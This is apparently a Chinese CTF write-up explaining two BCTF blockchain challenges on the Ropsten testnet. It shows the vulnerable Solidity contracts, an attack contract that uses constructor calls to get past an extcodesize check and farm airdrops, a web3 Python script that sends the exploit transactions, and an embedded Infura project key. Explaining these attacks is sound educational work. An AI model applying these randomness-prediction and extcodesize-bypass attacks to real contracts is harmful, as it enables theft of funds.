Bctf Blockchain 两则详解——带你玩转区块链-安全客

近来各大ctf中，纷纷冒出了一个新题型——Blockchain，从HCTF开始到BCTF，作为一只web狗，还是要紧跟时代学习一下（毕竟web狗啥都要学），今天我们就来详细讨论一下这两题的解法，以及用到的知识点。

EOSGame

题目地址为：This contract is at 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F in Ropsten network.

这题是给了合约代码的，先贴一下合约代码：

contract EOSToken{
    using SafeMath for uint256;
    string TokenName = "EOS";
    uint256 totalSupply = 100**18;
    address owner;
    mapping(address => uint256)  balances;

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    constructor() public{
        owner = msg.sender;
        balances[owner] = totalSupply;
    }
    function mint(address _to,uint256 _amount) public onlyOwner {
        require(_amount < totalSupply);
        totalSupply = totalSupply.sub(_amount);
        balances[_to] = balances[_to].add(_amount);
    }
    function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
        require(_amount < balances[_from]);
        balances[_from] = balances[_from].sub(_amount);
        balances[_to] = balances[_to].add(_amount);
    }
    function eosOf(address _who) public constant returns(uint256){
        return balances[_who];
    }
}

contract EOSGame{
    using SafeMath for uint256;
    mapping(address => uint256) public bet_count;
    uint256 FUND = 100;
    uint256 MOD_NUM = 20;
    uint256 POWER = 100;
    uint256 SMALL_CHIP = 1;
    uint256 BIG_CHIP = 20;
    EOSToken  eos;

    event FLAG(string b64email, string slogan);

    constructor() public{
        eos=new EOSToken();
    }
    function initFund() public{
        if(bet_count[tx.origin] == 0){
            bet_count[tx.origin] = 1;
            eos.mint(tx.origin, FUND);
        }
    }
    function bet(uint256 chip) internal {
        bet_count[tx.origin] = bet_count[tx.origin].add(1);
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
        uint256 shark = seed_hash % MOD_NUM;
        uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
        uint256 lucky = lucky_hash % MOD_NUM;
        if (shark == lucky){
            eos.transfer(address(this), tx.origin, chip.mul(POWER));
        }
    }
    function smallBlind() public {
        eos.transfer(tx.origin, address(this), SMALL_CHIP);
        bet(SMALL_CHIP);
    }
    function bigBlind() public {
        eos.transfer(tx.origin, address(this), BIG_CHIP);
        bet(BIG_CHIP);
    }
    function eosBlanceOf() public view returns(uint256) {
        return eos.eosOf(tx.origin);
    }
    function CaptureTheFlag(string b64email) public{
        require (eos.eosOf(tx.origin) > 18888);
        emit FLAG(b64email, "Congratulations to capture the flag!");
    }
}

如果你看不懂？没关系，我准备了，在互联网上找了个不错的视频教程，就无偿奉献给大家了。戳这里提取码是:uh7p 。

合约内容解析

下面我们先来大体看一下合约的内容：

首先第一个合约是写了一个token，EOSToken，可以理解为一种游戏币（毕竟ctf就是一场游戏，23333）

然后两个合约都使用了这么一句：

using SafeMath for uint256;

这里主要是为了防止溢出的，溢出？没错，在智能合约中，如果没有对某些数据类型进行限制，确实会导致溢出，这也导致了很多攻击的产生。详细分析戳这里

然后我们先看看怎么才能获取flag，很容易找到限制条件：

require (eos.eosOf(tx.origin) > 18888);

只要我们的EOSToken是大于18888的，就能成功获得flag了。

然后我们来看这个game的具体逻辑：

这个函数是如果你第一次玩这个游戏，会给你发放100个token。

下面到了整个游戏的关键函数bet：

这是一个赌钱函数，首先会生成一个随机数，然后用你当前账户的赌博次数在生成一个随机数，同时对20取余，如果两个余数相等，那么会给你你赌资的100倍奖励，这里就涉及到了我们本题的考点了，solidity智能合约随机数预测，有关科普戳这里。

我理解为如果生成随机数使用的种子使用的是有关当前区块的有关信息，那就是可以预测的，因为如果使用合约调用合约，那两个交易会被打包在一个区块内，那生成种子的所有信息，攻击合约都可以获得，攻击合约可以利用这些信息，生成完全一样的随机数。

接下来，两个函数，分别是小赌和大赌，赌资分别是1 和 20。

理清攻击流程

那么很显然，我们的攻击流程可以归结如下：

编写攻击合约

合约如下:

差不多每次调用获取的收益在 20*100 左右，手动调用几次就能获取flag

获取flag

当你的余额足够了以后，调用当前合约的flag函数，将邮箱的base64作为参数传入，即可获取flag邮件

Fake3D

合约地址：This game is at 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a in Ropsten network.

贴一下合约代码：

contract WinnerList{
    address public owner;
    struct Richman{
        address who;
        uint balance;
    }

    function note(address _addr, uint _value) public{
        Richman rm;
        rm.who = _addr;
        rm.balance = _value;
    }

}

contract Fake3D {
    using SafeMath for *;
    mapping(address => uint256)  public balance;
    uint public totalSupply  = 10**18;
    WinnerList wlist;

    event FLAG(string b64email, string slogan);

    constructor(address _addr) public{
        wlist = WinnerList(_addr);
    }

    modifier turingTest() {
            address _addr = msg.sender;
            uint256 _codeLength;
            assembly {_codeLength := extcodesize(_addr)}
            require(_codeLength == 0, "sorry humans only");
            _;
    }

    function transfer(address _to, uint256 _amount) public{
        require(balance[msg.sender] >= _amount);
        balance[msg.sender] = balance[msg.sender].sub(_amount);
        balance[_to] = balance[_to].add(_amount);
    }


    function airDrop() public turingTest returns (bool) {
        uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
            (block.number)
        )));

        if((seed - ((seed / 1000) * 1000)) < 288){
            balance[tx.origin] = balance[tx.origin].add(10);
            totalSupply = totalSupply.sub(10);
            return true;
        }
        else
            return false;
    }

   function CaptureTheFlag(string b64email) public{
        require (balance[msg.sender] > 8888);
        wlist.note(msg.sender,balance[msg.sender]);
        emit FLAG(b64email, "Congratulations to capture the flag?");
    }

}

浏览一遍，发现是一个很明显的薅羊毛的游戏，但是这里有个判断：

assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");

于是搜索到了一篇文章，文章地址

文章中说到，当一个合约在执行构造函数的时候，其extcodesize也为0 ，所以首先写出薅羊毛合约。

攻击合约

这里就借用 r3kapig 队伍写的来测试：

contract father {
    function father() payable {}
    Son son;
    function attack(uint256 times) public {
        for(uint i=0;i<times;i++){
            son = new Son();
        }
    }
    function () payable {
    }
}
contract Son {
    function Son() payable {
        Fake3D f3d;
        f3d=Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
        f3d.airDrop();
        if (f3d.balance(this)>=10)
        {
            f3d.transfer(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91,10);
        }
        selfdestruct(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91);
    }
    function () payable{
    }
}

这样调用 attack(150) 一次，大概可以得到400的收益，调用20次左右即可达到要求。

可以通过写脚本，来不断调用这个方法，脚本如下:

但是在达到要求之后，在调用getflag的过程中遇到了问题，总是调用失败。

继续探索

于是想到了可能合约WinnerList 给出的代码不准确，于是调用脚本去读取整整WinnerList 合约的地址：

得到了WinnerList 的实际地址为：0xd229628fd201a391cf0c4ae6169133c1ed93d00a

于是反编译：https://ethervm.io/decompile?address=0xd229628fd201a391cf0c4ae6169133c1ed93d00a&network=ropsten

在反编译的函数中发现了一个关键判断：

总结一下就是调用的地址最后两位必须是43 或者倒数三四位必须是b1 。

这里使用工具爆破一下，得到合法的地址：

获取flag

我们先将token 通过tranfer方法交易给满足条件的账户，然后再调用flag函数：

即可完成整个的交易，获取flag。

脚本如下：

from web3 import Web3
import sha3

my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/2b86c426683f4a6095fd175fe931d799")
assert my_ipc.isConnected()
runweb3 = Web3(my_ipc)
myaccount = "your account"
private = "your private key"
constract = "0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a"

transaction_dict1 = {
        'from':Web3.toChecksumAddress(myaccount),
        'to':constract,
        'gasPrice':10000000000, 
        'gas':3000000,
        'nonce': None,
        'value':0,
        'data': 
"0xa9059cbb000000000000000000000000c918033c74054a190ed8004fdadf1b53f04a05430000000000000000000000000000000000000000000000000000000000002328"
    } # 原来账户转账给爆破出的账户 tranfer
transaction_dict = {
        'from':Web3.toChecksumAddress(myaccount),
        'to':constract,
        'gasPrice':10000000000, 
        'gas':3000000,
        'nonce': None,
        'value':0,   
        'data': 
"0x9590729100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000021205933567464486831616d6c68596d6c755147647459576c734c6d4e7662513d3d00000000000000000000000000000000000000000000000000000000000000"
    } # 满足要求的账户调用flag函数
def init():
    myNonce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress(myaccount))
    print(myNonce)
    transaction_dict["nonce"] = myNonce
    r = runweb3.eth.account.signTransaction(transaction_dict, private)
    try:
        runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
    except:
        pass
if __name__ == '__main__':
    while True:
        init()

后记

作为一只刚入门这个方向的半小白，从一无所知花了几天时间慢慢了解了这些东西，觉得做这些题目还挺有意思的，当然可能有很多笨拙的地方，还请大佬们多多指教。

Bctf Blockchain 两则详解——带你玩转区块链

译文声明

EOSGame

合约内容解析

理清攻击流程

编写攻击合约

获取flag

Fake3D

攻击合约

继续探索

获取flag

后记

发表评论

TA的文章

swpu ctf 有趣的邮箱注册详细题解

Bctf Blockchain 两则详解——带你玩转区块链

Hitcon2018 BabyCake题目分析

seacms v6.64 最新漏洞分析

codeblue2018 MortAl mage aGEnts题目分析

相关文章

2021WMCTF 1+2=3 WriteUp

paradigm-CTF babysandbox

BalsnCTF 2020 IdleGame

第五空间 CreativityPlus & BalsnCTF 2019 Creativity

Balsn CTF 2019 - Bank & 第一届钓鱼城杯 strictmathematician

innovation blockchain 智能合约题目（下）

Innovation 智能合约题目合集（上）

热门推荐